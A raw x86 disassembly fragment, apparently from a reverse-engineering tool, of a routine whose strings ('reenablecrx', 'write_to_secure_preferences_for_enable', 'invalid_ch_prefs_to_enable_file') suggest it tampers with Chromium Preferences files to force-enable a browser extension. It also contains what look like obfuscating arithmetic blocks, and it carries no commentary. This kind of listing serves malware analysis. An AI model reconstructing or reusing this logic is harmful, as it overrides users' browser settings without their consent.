push str.enable_extension_secure_preferences_result_size
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0x55
call fcn.004017e3
push str.SOFTWARE_
lea ecx, [ebp - 0x480]
mov byte [ebp - 4], 0x56
call fcn.004017e3
mov ecx, eax
lea eax, [edi + 0x1c]
push eax
push ecx
lea eax, [ebp - 0x46c]
push eax
mov byte [ebp - 4], 0x57
call fcn.00401e15
lea ecx, [ebp - 0x4a4]
push ecx
push eax
lea eax, [ebp - 0x47c]
push eax
mov byte [ebp - 4], 0x58
call fcn.00401e15
push dword [0x53b1d4]
mov byte [ebp - 4], 0x59
push eax
lea eax, [ebp - 0x4a8]
push ebx
push eax
call fcn.00416764
mov ecx, dword [ebp - 0x47c]
add esp, 0x28
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x46c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x480]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x4a8]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x4a4]
mov byte [ebp - 4], 0x4a
lea ecx, [ecx - 0x10]
call fcn.00404fef
cmp dword [ebp - 0x48c], 1
je 0x45d2d0
cmp dword [ebp - 0x478], 1
jne 0x45d369
push str.crxver
lea ecx, [ebp - 0x47c]
call fcn.00401824
mov ecx, eax
lea eax, [edi + 0xac]
push eax
push ecx
lea eax, [ebp - 0x494]
push eax
mov byte [ebp - 4], 0x5b
call fcn.00401e15
add esp, 0xc
mov ecx, dword [ebp - 0x47c]
mov byte [ebp - 4], 0x5d
lea ecx, [ecx - 0x10]
call fcn.00404fef
push 0x4f6c38
push 0x4f6500
lea ecx, [ebp - 0x494]
call fcn.0040500b
push str.reenablecrx
lea ecx, [ebp - 0x478]
call fcn.00401824
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x478]
push eax
mov ecx, edi
mov byte [ebp - 4], 0x5e
call fcn.00405fc2
mov ecx, dword [ebp - 0x478]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x494]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x4b0]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x4b4]
lea ecx, [ecx - 0x10]
call fcn.00404fef
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x15
call fcn.00453a94
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x14
call fcn.00453a94
lea ecx, [ebp - 0x20c]
call fcn.00401caf
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 0x12
call fcn.0046b460
lea ecx, [ebp - 0x10c]
call fcn.0040102f
mov al, 1
jmp 0x45d7ff
lea eax, [ebp - 0x4b4]
push eax
push esi
call fcn.00409e4d
pop ecx
pop ecx
test al, al
jne 0x45d157
push str.write_to_preferences_for_enable
lea ecx, [ebp - 0x484]
call fcn.00401824
mov byte [ebp - 4], 0x52
lea eax, [ebp - 0x484]
push eax
mov ecx, edi
call fcn.00406042
mov ecx, dword [ebp - 0x484]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x4b0]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x4b4]
jmp 0x45d645
cmp byte [ebp - 0x45d], 0
je 0x45d2ba
lea eax, [ebp - 0x4b0]
push eax
push dword [ebp - 0x4ac]
call fcn.00409e4d
pop ecx
pop ecx
test al, al
jne 0x45d2ba
call fcn.00467cae
test al, al
jne 0x45d48b
mov eax, dword [0x541ad4]
push 0x64
cdq
pop ecx
idiv ecx
xor ecx, ecx
push 4
lea eax, [edx + 0x7b]
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004c0e30
push eax
call fcn.004c1c8e
pop ecx
pop ecx
push str.write_to_secure_preferences_for_enable
lea ecx, [ebp - 0x484]
call fcn.00401824
mov byte [ebp - 4], 0x5a
jmp 0x45d3fa
lea eax, [ecx + 1]
imul eax, ecx
push 0x17
cdq
pop esi
idiv esi
cmp edx, 8
jne 0x45d4dc
mov eax, ecx
push 0x64
cdq
pop ecx
idiv ecx
xor ecx, ecx
push 4
lea eax, [edx + 0x63]
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004c0e30
push eax
call fcn.004c1c8e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x468]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x470]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov bl, 1
jmp 0x45d64d
call fcn.00467aab
test al, al
jne 0x45d50e
inc dword [0x543550]
push str.invalid_preferences_to_enable
lea ecx, [ebp - 0x478]
call fcn.00401824
lea eax, [ebp - 0x478]
push eax
mov ecx, edi
mov byte [ebp - 4], 0x30
call fcn.00406042
mov ecx, dword [ebp - 0x478]
mov byte [ebp - 4], 0x18
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov esi, dword [ebp - 0x498]
lea eax, [ebp - 0x484]
push eax
push dword [esi]
mov dword [ebp - 0x484], ebx
call fcn.00409420
cmp dword [ebp - 0x484], 0
pop ecx
pop ecx
je 0x45d631
push str.InstEnd
lea ecx, [ebp - 0x464]
call fcn.004017e3
push str.invalid_ch_prefs_to_enable_file
lea ecx, [ebp - 0x478]
mov byte [ebp - 4], 0x31
call fcn.004017e3
push str.SOFTWARE_
lea ecx, [ebp - 0x480]
mov byte [ebp - 4], 0x32
call fcn.004017e3
lea ecx, [edi + 0x1c]
push ecx
push eax
lea eax, [ebp - 0x46c]
push eax
mov byte [ebp - 4], 0x33
call fcn.00401e15
lea ecx, [ebp - 0x464]
push ecx
push eax
lea eax, [ebp - 0x47c]
push eax
mov byte [ebp - 4], 0x34
call fcn.00401e15
push dword [0x53b1d4]
mov byte [ebp - 4], 0x35
push eax
lea eax, [ebp - 0x478]
push esi
push eax
call fcn.00416764
mov ecx, dword [ebp - 0x47c]
add esp, 0x28
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x46c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x480]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x478]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x464]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x468]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x470]
lea ecx, [ecx - 0x10]
call fcn.00404fef
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x15
call fcn.00453a94
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x14
call fcn.00453a94
lea ecx, [ebp - 0x20c]
call fcn.00401caf
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 0x12
call fcn.0046b460
lea ecx, [ebp - 0x10c]
call fcn.0040102f
mov al, bl
jmp 0x45d7ff
push 0x5008e4
lea ecx, [ebp - 0x478]
call fcn.004017e3
push 0x5008e8
lea ecx, [ebp - 0x474]
mov byte [ebp - 4], 0x1d
call fcn.00401824
mov ecx, dword [ebp - 0x470]
mov byte [ebp - 4], 0x1e
push dword [ecx - 0xc]
push eax
lea eax, [ebp - 0x480]
push eax
call fcn.004511f4
lea ecx, [ebp - 0x478]
push ecx
push eax
lea eax, [ebp - 0x46c]
push eax
mov byte [ebp - 4], 0x1f
call fcn.0045107a
mov ecx, dword [ebp - 0x468]
mov byte [ebp - 4], 0x20
push dword [ecx - 0xc]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.004511f4
add esp, 0x24
push eax
mov ecx, edi
mov byte [ebp - 4], 0x21
call fcn.00406042
mov ecx, dword [ebp - 0x47c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x46c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x480]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x474]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x478]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov edx, dword [0x541ad4]
push 0x14
lea eax, [edx + 2]
lea ecx, [edx + 1]
imul eax, ecx
imul eax, edx
cdq
pop ebx
idiv ebx
cmp edx, 0xb
jne 0x45d79f
push 0x69
pop eax
push 0x41
pop edx
test edx, edx
je 0x45d798
mov ecx, edx
cdq
idiv dword [ebp - 0x49c]
mov eax, ecx
mov dword [ebp - 0x49c], edx
test ecx, ecx
jne 0x45d77f
add eax, edx
mov dword [0x541ad4], eax
mov ecx, dword [ebp - 0x468]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov eax, dword [ebp - 0x470]
lea ecx, [eax - 0x10]
call fcn.00404fef
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x15
call fcn.00453a94
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], bl
call fcn.00453a94
lea ecx, [ebp - 0x20c]
call fcn.00401caf
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x19c]
call fcn.0046b460
lea ecx, [ebp - 0x10c]
call fcn.0040102f
xor al, al
call fcn.004c2a51
ret 0x18